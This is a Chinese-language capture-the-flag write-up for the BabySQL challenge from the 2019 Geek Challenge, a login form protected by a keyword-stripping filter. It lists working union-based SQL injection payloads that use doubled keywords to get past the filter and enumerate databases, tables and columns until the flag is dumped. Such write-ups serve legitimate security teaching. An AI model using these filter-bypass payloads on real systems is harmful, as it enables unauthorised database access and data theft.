1. 程式人生 > 實用技巧 >[極客大挑戰 2019]BabySQL

[極客大挑戰 2019]BabySQL

解題思路

打開發現是登陸框,先嚐試下二次注入
admin'# 123456 ,登陸成功,獲取密碼,但是不知道下一步如何利用。
再嘗試正常注入

聯合注入

union select查詢,發現無法顯示其內容,猜測被替換為空。使用union/**/select,只留下//,再次證實被替換為空,嘗試雙寫繞過ununionion seselectlect,發現回顯出union select,即可進行下一步操作


發現爆出回顯位,2,3.
把database(),放在回顯位中,爆出資料庫geek。繼續使用下一個payload,發現無法打過去,報錯。考慮還有其他的字串進行了替換為空過濾,fuzz發現,from,or,where也進行了過濾。同樣雙寫繞過過濾

爆表名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' %23

爆列名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' %23


感覺沒什麼用,猜測不在這個資料庫中,爆出所有資料庫

爆資料庫:
?username=admin&password=123 %27%20ununionion seselectlect 1,2,group_concat(schema_name)frfromom infoorrmation_schema.schemata %23 

 
猜測在ctf庫下,重新爆

爆表名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23


爆出Flag表

爆列名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' %23
爆出flag列

爆欄位:
?username=admin&password=123 %27%20ununionion selselectect 1,2,group_concat(flag) frfromom (ctf.Flag) %23
爆出flag內容

總結思路

核心思路:

  • 通過猜測,fuzz等手段知道匹配了哪些字串做了什麼替換
  • bypass
  • 常見的聯合注入

知識點

  • sql注入